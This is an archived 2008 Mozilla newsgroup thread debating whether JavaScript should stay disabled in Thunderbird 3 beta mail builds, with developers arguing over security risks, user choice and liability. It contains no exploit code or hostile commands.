> but DISABLING it so a user cannot turn it back on IF they so desire is
> something else entirely.
We're not talking about shipping a product so far, but making available
a testing-only beta build. There's a difference.
-Boris
Boris Zbarsky
> I am talking user versions here.
In that case, how is what the beta does or doesn't do relevant?
-Boris
Boris Zbarsky
> If there are no more than 2 people who know what the risks are in
> enabling javascript, then how is it 'dangerous'?
There are no more than 2 people who know _all_ the risks.
To attack you only need to know about one hole.
To properly defend you need to know about all possible security holes.
Again, reading comprehension.
> So if you are confident that USERS don't know. then I am confident that
> hackers don't know either!
You know, the average cracker is a lot more intelligent than the average
user, and more importantly a lot more motivated to know about security
holes. The basic operating premise is that crackers have a better idea
about security holes than anyone except _maybe_ the author of the code.
Maybe.
> You end your missive with.... what's needed is data, not anecdotes. Yet
> all this talk about 'risks' in Thunderbirds implementation of javascript
> IS anecdotal!
No, it's just a basic responsibility. If our users get exploited, it's
our fault, period.
> Please quote the javascript exploits that are 'out there' that are these
> risk factors you are speaking of.
The point of security is to make sure exploits don't appear or if they
appear do not affect the user, not to patch up after the fact when the
user is already screwed.
> You want OUR data, but you don't have yours?
I want data period.
-Boris
Boris Zbarsky
>> associated with enabling JS (I say this with confidence, since there
>> are no more than 2 people, and most likely no one at all, who actually
>> know what risks enabling JS in Gecko-based e-mail actually carries).
>
> thanks for classifying the 'user' as being stupid.
Uh... Where did I say that? The 'user' is not motivated to study this
particular large complex system in detail. The 'user' doesn't have
certain background information needed to make an informed decision here.
The 'user' in this case includes quite a number of very smart people
who just don't know much about this particular niche... nor should they
have to.
Just like I don't claim that people are stupid for not knowing the exact
details of the safety and redundancy systems of the airplanes they fly
in, the ships they ride on, the MRI devices and radiation therapy
machines they make use of, the bridges they drive over, or the
skyscrapers they work in.
Quite a number of people _could_ learn all there is to know about the
issue of JS in mail in current Gecko. Most don't want to put in the
minimum of several weeks'time that this would take. This is perfectly
normal, but the end result is that they're not in a position to be
making fully-informed decisions.
Neither am I, by the way; I know a good bit about the DOM end of things
in Gecko; enough to know about some of the major issues lurking here,
but I don't know enough about the mailnews code to even start thinking
about ways it could be attacked.
-Boris
Joshua Cranmer
> You end your missive with.... what's needed is data, not anecdotes. Yet
> all this talk about 'risks' in Thunderbirds implementation of javascript
> IS anecdotal!
> Please quote the javascript exploits that are 'out there' that are these
> risk factors you are speaking of.
Your basic argument seems to be that we should enable JS because there
are no exploits /in use/ as opposed to no /known/ exploits. So you would
justify knowingly open up massive security holes simply because no one
(that you know of, I might add) is taking advantage of them?
In my opinion, that's not just bad design, it's ethically and morally
wrong. There shouldn't be any reason to wait until exploits come out to
fix the security problem.
David Ascher
Thunderbird, and some pointers as to how people can influence it.
First, what are our goals? Motivations vary. As I've stated from the
beginning, _my_ goals are to help make software that will be valuable
and useful to as many people as possible. I'm not doing it because of a
particular personal itch. I'm doing it because I believe that having an
open source email & communications client that is healthy and thriving
and evolving is critical to the long-term health of the internet. I
think Thunderbird is an amazing place to start, but that there's a lot
of work to get us where I think we should be, which is a client that
helps shape global online interactions in positive ways.
How do we get there? Well, we start with our assets (including the
current Thunderbird code base, the current Thunderbird user base, the
current developer community, and the brand), and we figure out how best
to deploy all of those for long-term success, which I define as "as
large a user base as possible".
Note that not everyone working on Thunderbird shares my specific goals,
and that's ok too. Some people simply want to work on features that
they're particularly motivated to see work better. Some people just
like to fix specific bugs, etc. For the most part, although it might
not be obvious on this newsgroup this week, people working on
Thunderbird are doing so with a fair degree of mutual respect and
collaboration, and we're always happy to welcome new contributors, as
there's not nearly enough of us as the project scope could support.
So, given that, if trying to have maximum impact, prioritization
decisions are needed. What, of all of the things that we could possibly
be doing, should we be spending time on? How should the product evolve?
Getting to the answers is never easy. Good data, as bz points out, is
incredibly useful, but also incredibly hard to gather (this newsgroup,
for example, is most likely not a representative sample of either the
current or possible future users of Thunderbird). We therefore need to
weigh a large number of factors to make these decisions, using tools
like bug triage, market & trend analysis, data analysis, competitive
analysis, inspiration, talking to current, past and potential customers,
etc. etc.
Yes, as some have mentioned on this thread, it's about figuring out what
drives end-users. But no, it's not about listening to any one
end-user. There are three major reasons: 1) different users want
different things, and those who yell the loudest aren't necessarily
right 2) the users most likely to represent new users are, by
definition, not the current end-users, and 3) as users, we tend to frame
possibilities based on our immediate needs, making it hard to envision
different possible worlds.
To mitigate the above, we try to 1) listen to everyone, discounting
volume, seeking understanding; 2) not just talk to existing users, but
understand why other people aren't using Thunderbird, and figuring out
what they like/don't like about whatever other tools they are using, and
3) looking at more than the current state of the software, engaging with
designers & visionaries, and envisioning new ways of doing both old and
new tasks.
What should be also obvious is that maintaining the status quo does not
get us closer to the goal. There are millions of Thunderbird users, but
that's still a tiny, tiny fraction of the possible market. Those of us
using Thunderbird for years are clearly incredibly important to getting
to a larger audience, but our habits and traditions cannot hold the
product hostage to changes which would make it compelling to millions of
others.
How can a non-developer influence this process?
* Help us with convincing, exciting, inspiring stories that make us
believe that whatever it is you're hoping for will help us reach ten
times more users, not just make you happy. Do so in a way that is
engaging, not aggressive. Be willing to consider alternate paths to
that outcome.
* Contribute, don't just comment. Commenting, whether on mailing lists
or bugs, is very easy. It's also not that useful, given that one
person's comment is just that -- it's impossbile for people reading the
comments to know how representative that personal opinion is. We have
millions of users and are shooting for tens of millions -- individual
opinions _by themselves_ aren't that helpful in gauging expected
population reactions. In addition, by contributing, you end up building
social ties, which are incredibly important. If you've helped move the
ball forward in some tangible way, then, being people, others are more
likely to help you out when you need a hand. There are lots of little
and big things that non-developers can do. JoeS, for example, keeps
MozillaZine users abreast of development changes, which is a great
service. We always need testing help!
* Please, stay civil. It's incredibly draining for people who spend
hours and hours trying to make a free program better to respond
constructively to vitriol, whether in bugs or mailing lists. If you
want a better Thunderbird, make the environment around it a fun place
for volunteers to be!
* Give others the benefit of the doubt. There may be disagreements
among us, but we have more in common than not, and if tempers are
allowed to cool, then understanding can be reached, with a greater
chance for a positive outcome. Sounds trite, but it's true.
--david
A
> The purpose of this post is to gather comments on the general
> direction of TB3 development from some folks who might
> not have tried any of the alpha or nightly builds. I would describe
> the target audience as a group of users interested in
> Multimedia in mail and Newsgroups. I choose this venue to avoid
> bugspam and yet gather opinions.
>
> My personal use of html compose is mainly in Newsgroups, where such
> posts are a common interest.
> Or a Holiday e-card to those that appreciate same.
>
> It is *not* meant as a forum for the appropriateness of html use in
> Mailnews, so no flames please.
> It *is* meant to show user interest for multimedia style composition.
>
>
>
> 1) Little or nothing has been done to aid in the composition of
> "Good" html.
>
> Indeed, given the tools in the composition window, it is quite
> difficult to produce a "well formed" html message.
>
> For instance, there is no way to insert <p> tags easily.
>
> extent is aware of the problems in editing inline styles
> (advanced edit) and in using insert html as an editing tool. It's
> the general lack of development for the html user that I
> want to call attention to here.
>
> 2) Currently, Javascript is "temporarily" disabled in trunk
> builds.(no pref to turn on)
>
> This obviously removes the composers ability to enhance compositions
> with JS effects, but also disables the marquee tag completely.
> In addition, RSS feeds that require JS to pull content are severely
> affected. (YouTube feeds are one example)
>
> Javascript is an important tool for enhanced html composition, and
> should be made available by pref.
>
>
> I would be the first to admit that folks that use these features are
> in the minority, and suggest that the reason
> for this fact is that they have been pretty much trivialized and
> regarded as edge cases in the user base.
>
> This post is in plaintext in deference to the preferences of this
> group and the mailing list users.
>
> Please observe proper decorum and etiquette in responding to this
> post, as the subject may be considered controversial.
As one of the interested users of multimedia in both newsgroups and
email, I would hope that the direction of Tb3 Development includes
giving JS/enhanced html compositon and capability serious
consideration; e.g. :
"Development": Act of improving by expanding or enlarging or refining; A
process in which something passes by degrees to a different stage
(especially a more advanced or mature stage).
It should be easy enough to overcome the "fear factor"/security issues
concerns with an option, rather than excluding an entire group of
multimedia users by omitting the choice altogether.
I first moved on to IE/OE, due to Netscape's eventual incompatibility
with enhanced html, relative to the inclusion of stationery, applets,
shockwave embedding, etc., within email and newsgroups. However,
there was a period of time, due to your considerable and appreciated
efforts, I did participate in "Gecko" testing, though drifted away due
to it being more complicated/time-consuming than I believed it
should...or had to be.
Thanks for the opportunity to weigh in on this, Joe...and thanks to Tb3
Development for taking the time to consider...and hopefully implement...
"a more advanced or mature stage" in the context of JS/enhanced html.
As others have indicated, the freedom to choose, rather than having a
restriction imposed...would seem to be a viable
solution/alternative....not to mention a welcomed one.
Annette
Marcel Berteler
> There _is_ another legitimate question here, which is whether the number
> of users who want JS outweighs the number who don't want it and want
> something else that the time could be spent on instead. This isn't
> pleasant to hear for users who want JS (I'm been in that situation
> before). But that doesn't make the question an unreasonable one.
Let me be the 1st to provide you with some data for your poll.
I'm a frequent user and I don't need JS. Yes, it could be handy but I
would switch it off because of potential risks. Quite frankly I only
know of very few people who needs JS because they simply do not even
know what JS is and have never asked me if their email client could
perform a specific function for which I had to use JS.
Proper HTML would be great for news letters and nice party invites, etc
but JS is really going way overboard.
Personally I think any form of scripting (incl JS) in email clients is
asking for security risks and it is simply just not worth it.
Marcel
Boris Zbarsky
>> There _is_ another legitimate question here, which is whether the
>> number of users who want JS outweighs the number who don't want it and
>> want something else that the time could be spent on instead. This
>> isn't pleasant to hear for users who want JS (I'm been in that
>> situation before). But that doesn't make the question an unreasonable
>> one.
>
> Let me be the 1st to provide you with some data for your poll.
For what it's worth, a poll, with its selection biases and "loudest
voices win even if they're the minority" setup is absolutely the wrong
way to gather this sort of data.
-Boris
Peter Potamus the Purple Hippo
> Proper HTML would be great for news letters and nice party invites, etc
> but JS is really going way overboard.
I send out a newsletter several times a month, and I
have it set so it will scroll automatically. So, you
tell me how to make a message scroll automatically
without using JS?
M KC
As I see it the basic argument is not whether JS should be enabled both
rather the user should have the choice of 'enabling' if they do know how
to take advantage of them. Those who do not 'want' or 'know' can remain
protected by the 'disabled' default setting, so as those who do know how
to take advantage are given the choice to do so, just as you choose not to.
In my opinion that is logical solution. We both have equal rights to
choose. Both views deserve equal respect.
Margaret
JoeS
> Marcel Berteler wrote:
>
>> Proper HTML would be great for news letters and nice party invites,
>> etc but JS is really going way overboard.
>
> I send out a newsletter several times a month, and I have it set so it
> will scroll automatically. So, you tell me how to make a message scroll
> automatically without using JS?
>
I would suggest the <marquee> tag but alas, marquee will not function without
Javascript being enabled. That's a bug that could be fixed though.
For this current case:
https://bugzilla.mozilla.org/show_bug.cgi?id=456478
Perhaps a dup here:
https://bugzilla.mozilla.org/show_bug.cgi?id=208864
Boris Zbarsky
> As I see it the basic argument is not whether JS should be enabled both
> rather the user should have the choice of 'enabling' if they do know how
> to take advantage of them. Those who do not 'want' or 'know' can remain
> protected by the 'disabled' default setting
Margaret, my point is that knowing that you want something to Just Work
isn't the same as knowing what the consequences of it working are.
Case in point are the multiple people who have thus far expressed an
interest in enabling JS in the beta in their mail client, of whom none
understand the risks involved as far as I can see. If some of the
people involved have actually read the revision history of
nsScriptSecurityManager.cpp and the bugs involved, I stand corrected, of
course.
> In my opinion that is logical solution. We both have equal rights to
> choose.
There are two issues here:
1) A reasonably large number of people will make a choice in this
situation, and then when the choice damages them blame the entity that
allowed the choice or insufficiently protected them from the "wrong"
choice. And as far as the latter sentiment goes, they're right: if it's
possible to enable JS, then doing so should not make using the
application a minefield.
2) No one is taking away your choice if you want to be really pedantic
about it. Anyone is free to take the source, modify it, and compile the
result. You can remove the hard-disable of JS in mailnews (it's a
one-line change). You can remove the entire security infrastructure
(probably about a 30-line change).
Again, all this is only relevant for the beta so far. In my view,
giving users this choice in the beta as things stand is like giving the
driver of a car a button on the dashboard that will make the engine 20%
more powerful, but make it explode a lot more often when the car is
started, and explode with probability 1 if some guy driving down the
street doesn't like the way your car looks. How many people would push
such a button (given that on average they own a car for only 3 years,
and so only start it 1000 times)? Would selling such a car be likely to
be legal, even? It sure seems to me to be unethical.
-Boris
Jay Garcia
--- Original Message ---
"beta" has a strong tendency to become a "release".
--
Jay Garcia - Netscape/Flock Champion
www.ufaq.org
Netscape - Flock - Firefox - Thunderbird - Seamonkey Support
Boris Zbarsky
> "beta" has a strong tendency to become a "release".
Blocker bugs that are in a beta are called blockers for a reason. They
have to be fixed before final.
-Boris
M KC
G'day Boris, now that's a interesting comparison, obviously 'man' driven
<g>
I can accept your point of view in relation to 'beta'. My main concern
is if those of us who have been successfully using all aspects of
multimedia since the early Netscape days, do not speak up now and calmly
present our interests the ability to choose will gradually cease to be
considered as an option in final versions.
I have no desire to get into a never ending debate on the whys and
wherefores or to be or not to be scenarios but rather to be let it known
to the developers there are many of us who enjoy the opportunity to use
Multimedia/JS in news/mail.
Cheeers,
Margaret
Jay Garcia
--- Original Message ---
> There are two issues here:
>
> 1) A reasonably large number of people will make a choice in this
> situation, and then when the choice damages them blame the entity that
> allowed the choice or insufficiently protected them from the "wrong"
> choice. And as far as the latter sentiment goes, they're right: if it's
> possible to enable JS, then doing so should not make using the
> application a minefield.
You're making the assumption that if the user makes the "choice" of
enabling the function and some their system is compromised that the
vendor will get the blame. You really believe that? That's like going
over the speed limit, getting a ticket and blaming the cop.
> 2) No one is taking away your choice if you want to be really pedantic
> about it. Anyone is free to take the source, modify it, and compile the
> result. You can remove the hard-disable of JS in mailnews (it's a
> one-line change). You can remove the entire security infrastructure
> (probably about a 30-line change).
Excuse me while I apply to programming school. I'll be back in 6 months.
Jay Garcia
--- Original Message ---
Wasn't talking about bugs but rather replying to the JS enable/disable
in the beta.
Boris Zbarsky
> You're making the assumption that if the user makes the "choice" of
> enabling the function and some their system is compromised that the
> vendor will get the blame. You really believe that?
Yep. It happens all the time, in fact. People change some setting in
Firefox, then file bugs when things don't work right and are pissed off
about it. There are likely others who don't bother to file the bug and
just stop using it, since filing bugs is a hassle.
> That's like going over the speed limit, getting a ticket and blaming the cop.
No, it's like overloading your car and then when it breaks blaming the
car manufacturer. Which happens.
> Excuse me while I apply to programming school. I'll be back in 6 months.
No need for programming school. There are extensive step-by-step
instructions on the wiki for compiling Thunderbird, last I checked. I'd
be happy to point out to you the exact one-line change you'd need to
make to make yourself exploitable.
Of course you probably shouldn't distribute those builds labeled as
Thunderbird.... then again, the beta won't be labeled Thunderbird either.
-Boris
Boris Zbarsky
> Wasn't talking about bugs but rather replying to the JS enable/disable
> in the beta.
I'm really not sure which part of "temporary" isn't clear.
-Boris
Jay Garcia
--- Original Message ---
Ok, more specifically then. If it's disabled temporarily in the beta,
that's acceptable so long as it's enabled in the release. Or rather even
more specific - function enabled but disabled feature-wise by default
letting the user who KNOWS what they are doing "choose" to enable it. If
the user doesn't know what they are doing and enables it then THEY are
still liable, not TB staff. Only IF the feature is enabled by default
could possibly cause liability on the part of staff. Personally I think
it a nit-pick to hold staff liable for ANYthing chosen on the part of
the user no matter the level of skill involved.
Jay Garcia
--- Original Message ---
>> Excuse me while I apply to programming school. I'll be back in 6 months.
>
> No need for programming school. There are extensive step-by-step
> instructions on the wiki for compiling Thunderbird, last I checked. I'd
> be happy to point out to you the exact one-line change you'd need to
> make to make yourself exploitable.
>
> Of course you probably shouldn't distribute those builds labeled as
> Thunderbird.... then again, the beta won't be labeled Thunderbird either.
As admin for several support venues I really can't wait for
Joe-Weekend-user to attempt that. A very long extended vacation would be
in my immediate future ... :-)
Personally, as long as JS has been available in ALL
Netscape/Communicator/TB/SM, etc. applications, I have NEVER had JS
enabled .. but that's me.
Joshua Cranmer
> You're making the assumption that if the user makes the "choice" of
> enabling the function and some their system is compromised that the
> vendor will get the blame. You really believe that? That's like going
> over the speed limit, getting a ticket and blaming the cop.
If the program allows bad behavior, the tendency is to blame the
original programmers, even if the behavior is only opt-in. I'm sure some
GTA developers can explain this phenomenon to you.
Peter Potamus the Purple Hippo
> On 06.10.2008 22:42, Boris Zbarsky wrote:
>
> --- Original Message ---
>
>> Jay Garcia wrote:
>>> Wasn't talking about bugs but rather replying to the JS enable/disable
>>> in the beta.
>> I'm really not sure which part of "temporary" isn't clear.
>>
>> -Boris
>
> Ok, more specifically then. If it's disabled temporarily in the beta,
> that's acceptable so long as it's enabled in the release.
if its disabled in the beta, but enabled in the
release, then how are people to test anything out in beta?
Marcel Berteler
> Marcel Berteler wrote:
>
>> Proper HTML would be great for news letters and nice party invites,
>> etc but JS is really going way overboard.
>
> I send out a newsletter several times a month, and I have it set so it
> will scroll automatically. So, you tell me how to make a message scroll
> automatically without using JS?
>
What about an animated gif? ;-)
I am sure you also want to maintain your reader base and draw stats on
news letters... I propose you use a separate application that is
designed to write and manage news letters and their subscription
database. Or do you propose TB to include a feature to handle incoming
unsubscribe emails as well?
I do agree that it would be nice for TB to include a feature that flags
email addresses as 'bouncing'. Maybe a separate extension if that is not
yet available?
As I said in my email, no one I know needed a JS feature but that might
just because of the type of people I know and the job I am in.
Marcel
Simon Paquet
[insults deleted]
Thanks for giving me good reason to ignore your posts from now on.
For others:
Please follow the guidance that David gave here in the thread:
| * Please, stay civil. It's incredibly draining for people who spend
| hours and hours trying to make a free program better to respond
| constructively to vitriol, whether in bugs or mailing lists. If
| you want a better Thunderbird, make the environment around it a
| fun place for volunteers to be!
Simon
--
Thunderbird/Calendar Localization (L10n) Coordinator
Calendar website maintainer: http://www.mozilla.org/projects/calendar
Calendar developer blog: http://weblogs.mozillazine.org/calendar
Boris Zbarsky
> If the user doesn't know what they are doing and enables it then THEY are
> still liable, not TB staff. Only IF the feature is enabled by default
> could possibly cause liability on the part of staff.
That's not how many users think, and I'm not sure that's how the legal
system thinks either.
-Boris
Boris Zbarsky
> if its disabled in the beta, but enabled in the release, then how are
> people to test anything out in beta?
I'm pretty sure there will be more than one beta, and there's lots of
non-JS-related stuff that also needs testing...
-Boris
Boris Zbarsky
> does this statement actually MEAN what it says?? That (one or some)
> devs have fsck'd the core, opened unprecedented security risks - AND NOT
> CLOSED THOSE HOLES ??
It says exactly what I said. That changes to the DOM core without
corresponding changes to mailnews (largely due to mailnews being
abandonware at the time, and that DOM developers don't know anything
about mailnews, nor should they) mean there are existing security issues
that were recently discovered. They're being addressed.
For what it's worth, one problem is that mailnews _is_ using a
full-powered DOM and JS backend, one that keeps having features added.
These features are analyzed for their impact on web site security during
spec design, but mailnews has special security considerations which the
W3C does NOT take into account.
If mailnews used a rump JS/DOM that didn't add support for new features
until thoroughly audited (or more likely never), it would be a lot more
securable.
> Boy, if true, that could be almost Criminal Negligence!
As I said, a lot of users would certainly think this, even though
they're the ones turning on a known-dangerous feature. Thank you for
proving an illustrative example.
-Boris
Jay Garcia
--- Original Message ---
JS and HTML in as of themselves are not inherently bad behavior. The
useage and/or implementation thereof is what "can" be bad depending on
the "choice" made by the user assuming that the user has made an
educated choice. But like Boris mentioned, I agree with
non-implementation in the "beta" so long as it is included in the release.
Jay Garcia
--- Original Message ---
> Jay Garcia wrote:
>> On 06.10.2008 22:42, Boris Zbarsky wrote:
>>
>> --- Original Message ---
>>
>>> Jay Garcia wrote:
>>>> Wasn't talking about bugs but rather replying to the JS enable/disable
>>>> in the beta.
>>> I'm really not sure which part of "temporary" isn't clear.
>>>
>>> -Boris
>>
>> Ok, more specifically then. If it's disabled temporarily in the beta,
>> that's acceptable so long as it's enabled in the release.
>
> if its disabled in the beta, but enabled in the
> release, then how are people to test anything out in beta?
>
Simple, use a release to "test" unless of course the beta would contain
something "new" as regards the enabling of JS.
Jay Garcia
--- Original Message ---
Right .. throughout the history of Netscape, Communicator, Moz, TB, etc.
there have been many betas with functionality disabled/enabled, etc.
It's the final release that counts after everthing has been put back
together.
Jay Garcia
--- Original Message ---
> squaredancer wrote on 07. Oct 2008:
>
> [insults deleted]
> Thanks for giving me good reason to ignore your posts from now on.
>
> For others:
> Please follow the guidance that David gave here in the thread:
>
> | * Please, stay civil. It's incredibly draining for people who spend
> | hours and hours trying to make a free program better to respond
> | constructively to vitriol, whether in bugs or mailing lists. If
> | you want a better Thunderbird, make the environment around it a
> | fun place for volunteers to be!
>
> Simon
>
I didn't see any insults and I don't think that Boris did either as he
explained his postion quite accurately addressing reg's "concern".
Jay Garcia
--- Original Message ---
Having been managing many support forums since 1995, yes, that's how
"they" think. But this is really a moot point after you explained the
"beta" and I am in agreement.
Peter Potamus the Purple Hippo
> Peter Potamus the Purple Hippo wrote the following on 2008/10/07 00:18:
>> Marcel Berteler wrote:
>>
>>> Proper HTML would be great for news letters and nice party invites,
>>> etc but JS is really going way overboard.
>>
>> I send out a newsletter several times a month, and I have it set so it
>> will scroll automatically. So, you tell me how to make a message
>> scroll automatically without using JS?
>>
>
> What about an animated gif? ;-)
what!? How do you make a message automaticazlly scroll
with an animated gif?
> I am sure you also want to maintain your reader base and draw stats on
> news letters... I propose you use a separate application that is
> designed to write and manage news letters and their subscription
> database. Or do you propose TB to include a feature to handle incoming
> unsubscribe emails as well?
what!? Where are you coming from? Who said anything
about using TB/SM as a data base maintainer? I send out
a newsletter to my list. I use a program that is easy
to use. Are you telling me to dump TB/SM for another
program?
> I do agree that it would be nice for TB to include a feature that flags
> email addresses as 'bouncing'. Maybe a separate extension if that is not
> yet available?
we are talking about javascript, right?
Peter Potamus the Purple Hippo
> On 07.10.2008 07:27, Boris Zbarsky wrote:
>
> --- Original Message ---
>
>> Jay Garcia wrote:
>>> If the user doesn't know what they are doing and enables it then THEY are
>>> still liable, not TB staff. Only IF the feature is enabled by default
>>> could possibly cause liability on the part of staff.
>> That's not how many users think, and I'm not sure that's how the legal
>> system thinks either.
>>
>> -Boris
>
> Having been managing many support forums since 1995, yes, that's how
> "they" think. But this is really a moot point after you explained the
> "beta" and I am in agreement.
>
this goes back to the old saying within the Support
groups: in otherwords, the developers don't know how
the user think. They think they do, but they really
don't. Maybe they need to get more in touch with the
user rather getting the info amongst themselves.
Jay Garcia
--- Original Message ---
> Jay Garcia wrote:
>> On 07.10.2008 07:27, Boris Zbarsky wrote:
>>
>> --- Original Message ---
>>
>>> Jay Garcia wrote:
>>>> If the user doesn't know what they are doing and enables it then THEY are
>>>> still liable, not TB staff. Only IF the feature is enabled by default
>>>> could possibly cause liability on the part of staff.
>>> That's not how many users think, and I'm not sure that's how the legal
>>> system thinks either.
>>>
>>> -Boris
>>
>> Having been managing many support forums since 1995, yes, that's how
>> "they" think. But this is really a moot point after you explained the
>> "beta" and I am in agreement.
>>
>
> this goes back to the old saying within the Support
> groups: in otherwords, the developers don't know how
> the user think. They think they do, but they really
> don't. Maybe they need to get more in touch with the
> user rather getting the info amongst themselves.
>
That's why we're "commenting" here, isn't it? So that everyone involved
gets a broader education on the subject, yes?
Onno Ekker
> ...
Looks like "they" disabled (X-)Face support too. I don't see a purple
hippo in your posts anymore, not even in TB2 :-(
Onno
Chris Ilias
Thunderbird never had 'X-Face' support. That functionality is added by
the Mnenhy extension <http://mnenhy.mozdev.org/customheaders.html>.
Neither has Thunderbird supported the 'Face' header, which is what Peter
used. That functionality is added by the MessageFaces extension
<http://tecwizards.de/mozilla/messagefaces/>.
What was that about users not blaming Thunderbird staff for their
problems? ;-)
--
Chris Ilias <http://ilias.ca>
List-owner: support-firefox, support-thunderbird, test-multimedia
Ron K.
> squaredancer wrote:
>
> It says exactly what I said. That changes to the DOM core without
> corresponding changes to mailnews (largely due to mailnews being
> abandonware at the time, and that DOM developers don't know anything
> about mailnews, nor should they) mean there are existing security issues
> that were recently discovered. They're being addressed.
>
> For what it's worth, one problem is that mailnews _is_ using a
> full-powered DOM and JS backend, one that keeps having features added.
> These features are analyzed for their impact on web site security during
> spec design, but mailnews has special security considerations which the
> W3C does NOT take into account.
>
> If mailnews used a rump JS/DOM that didn't add support for new features
> until thoroughly audited (or more likely never), it would be a lot more
> securable.
>
>
> -Boris
This is the *Best* posting in this thread to define why we are in the
current situation.
My position is that there is value added with JS being available for DHTML.
It looks like the road to that end point requires a MailNews DOM which
currently does not exist (My understanding of the above quotes). From other
comments I conclude that there is a shortage of people who can audit CAPS
and the DOM to derive a new model for MailNews, Lightning and other
XULRunner apps. which have the Full-powered DOM in there current
configuration.
The XULRunner case, am I figuring that correctly? If so, there is a
Business Accounting package listed among the 'runner' apps on
Wiki.Mozilla.org. The security implications may be wider than just Tb
addresses, etc.
--
Ron K.
Who is General Failure, and why is he searching my HDD?
Kernel Restore reported Major Error used BSOD to msg the enemy!
Peter Potamus the Purple Hippo
> On 10/7/08 2:11 PM, _Onno Ekker_ spoke thusly:
>> Peter Potamus the Purple Hippo wrote:
>>> ...
>> Looks like "they" disabled (X-)Face support too. I don't see a purple
>> hippo in your posts anymore, not even in TB2 :-(
>
> Thunderbird never had 'X-Face' support. That functionality is added by
> the Mnenhy extension <http://mnenhy.mozdev.org/customheaders.html>.
>
> Neither has Thunderbird supported the 'Face' header, which is what Peter
> used. That functionality is added by the MessageFaces extension
> <http://tecwizards.de/mozilla/messagefaces/>.
>
> What was that about users not blaming Thunderbird staff for their
> problems? ;-)
>
actually, I'm using SeaMonkey so I've had to use the
modified version of it here:
http://xsidebar.mozdev.org/modifiedmailnews.html#messagefaces
Peter Potamus the Purple Hippo
> On 07.10.2008 11:54, Peter Potamus the Purple Hippo wrote:
>
> --- Original Message ---
>
>> Jay Garcia wrote:
>>> On 07.10.2008 07:27, Boris Zbarsky wrote:
>>>
>>> --- Original Message ---
>>>
>>>> Jay Garcia wrote:
>>>>> If the user doesn't know what they are doing and enables it then THEY are
>>>>> still liable, not TB staff. Only IF the feature is enabled by default
>>>>> could possibly cause liability on the part of staff.
>>>> That's not how many users think, and I'm not sure that's how the legal
>>>> system thinks either.
>>>>
>>>> -Boris
>>> Having been managing many support forums since 1995, yes, that's how
>>> "they" think. But this is really a moot point after you explained the
>>> "beta" and I am in agreement.
>>>
>> this goes back to the old saying within the Support
>> groups: in otherwords, the developers don't know how
>> the user think. They think they do, but they really
>> don't. Maybe they need to get more in touch with the
>> user rather getting the info amongst themselves.
>>
>
> That's why we're "commenting" here, isn't it? So that everyone involved
> gets a broader education on the subject, yes?
>
actually no, not really, imo that is. The "average"
user still doesn't have a say. The ones that are
commenting the loudest are the "advanced" users of TB
and SM Mail.
Jay Garcia
--- Original Message ---
> On 10/7/08 2:11 PM, _Onno Ekker_ spoke thusly:
>> Peter Potamus the Purple Hippo wrote:
>>> ...
>> Looks like "they" disabled (X-)Face support too. I don't see a purple
>> hippo in your posts anymore, not even in TB2 :-(
>
> Thunderbird never had 'X-Face' support. That functionality is added by
> the Mnenhy extension <http://mnenhy.mozdev.org/customheaders.html>.
>
> Neither has Thunderbird supported the 'Face' header, which is what Peter
> used. That functionality is added by the MessageFaces extension
> <http://tecwizards.de/mozilla/messagefaces/>.
>
> What was that about users not blaming Thunderbird staff for their
> problems? ;-)
>
Who'da thunk it would be the tother way 'round, 'eh? :-D
Jay Garcia
--- Original Message ---
>>> this goes back to the old saying within the Support
>>> groups: in otherwords, the developers don't know how
>>> the user think. They think they do, but they really
>>> don't. Maybe they need to get more in touch with the
>>> user rather getting the info amongst themselves.
>>>
>>
>> That's why we're "commenting" here, isn't it? So that everyone involved
>> gets a broader education on the subject, yes?
>>
>
> actually no, not really, imo that is. The "average"
> user still doesn't have a say. The ones that are
> commenting the loudest are the "advanced" users of TB
> and SM Mail.
>
Read your own reply again regarding devs, that's what I was talking about.
Phillip M. Jones, C.E.T
What interest them is that features that use to work an no longer works
gets them hunting for something else that will do what they want you
risk losing your user base. If an item was pulled because one or two
people are afraid something will go bump in the night.
AS long as it is *indeed temporary until a Fix can be found* and a a Fix
is truly looked at to fix the problem. Instead of using it as an excuse
to carry out an agenda. Then everything is fine.
That just means I'll no longer test TB3 until an announcement that its
back in. and If it doesn't show up I will forfeit future security
updates and stay will Thunderbird 2. I value the use of JS more than
fancy new feature in the new model.
--
------------------------------------------------------------------------
Phillip M. Jones, CET mailto:pjo...@kimbanet.com
If it's "fixed", don't "break it"! http://www.vpea.org
http://www.kimbanet.com/~pjones/default.htm
G4-500 Mac 1.5 GB RAM OSX.3.9 G4-1.67 GB PowerBook 17" 2GB RAM OSX.4.11
------------------------------------------------------------------------
Phillip M. Jones, C.E.T
> On 07.10.2008 11:54, Peter Potamus the Purple Hippo wrote:
>
> --- Original Message ---
>
>> Jay Garcia wrote:
>>> On 07.10.2008 07:27, Boris Zbarsky wrote:
>>>
>>> --- Original Message ---
>>>
>>>> Jay Garcia wrote:
>>>>> If the user doesn't know what they are doing and enables it then THEY are
>>>>> still liable, not TB staff. Only IF the feature is enabled by default
>>>>> could possibly cause liability on the part of staff.
>>>> That's not how many users think, and I'm not sure that's how the legal
>>>> system thinks either.
>>>>
>>>> -Boris
>>>
>>> Having been managing many support forums since 1995, yes, that's how
>>> "they" think. But this is really a moot point after you explained the
>>> "beta" and I am in agreement.
>>>
>>
>> this goes back to the old saying within the Support
>> groups: in otherwords, the developers don't know how
>> the user think. They think they do, but they really
>> don't. Maybe they need to get more in touch with the
>> user rather getting the info amongst themselves.
>>
>
> That's why we're "commenting" here, isn't it? So that everyone involved
> gets a broader education on the subject, yes?
>
another matter. We'll see.
Phillip M. Jones, C.E.T
>
>> If the toothpaste end user wants that sweet ethylene glycol he should
>> have it too, right?
>>
>> The problem here is that a user does not not understand the risks
>> associated with enabling JS (I say this with confidence, since there
>> are no more than 2 people, and most likely no one at all, who actually
>> know what risks enabling JS in Gecko-based e-mail actually carries).
>
> thanks for classifying the 'user' as being stupid.
>
Yep I ma one of those DA users. I've only used one form or another
computer since 1984. Experience I don't guess counts for anything.
Phillip M. Jones, C.E.T
> Moz Champion (Dan) wrote:
>> You end your missive with.... what's needed is data, not anecdotes.
>> Yet all this talk about 'risks' in Thunderbirds implementation of
>> javascript IS anecdotal!
>> Please quote the javascript exploits that are 'out there' that are
>> these risk factors you are speaking of.
>
> Your basic argument seems to be that we should enable JS because there
> are no exploits /in use/ as opposed to no /known/ exploits. So you would
> justify knowingly open up massive security holes simply because no one
> (that you know of, I might add) is taking advantage of them?
>
> In my opinion, that's not just bad design, it's ethically and morally
> wrong. There shouldn't be any reason to wait until exploits come out to
> fix the security problem.
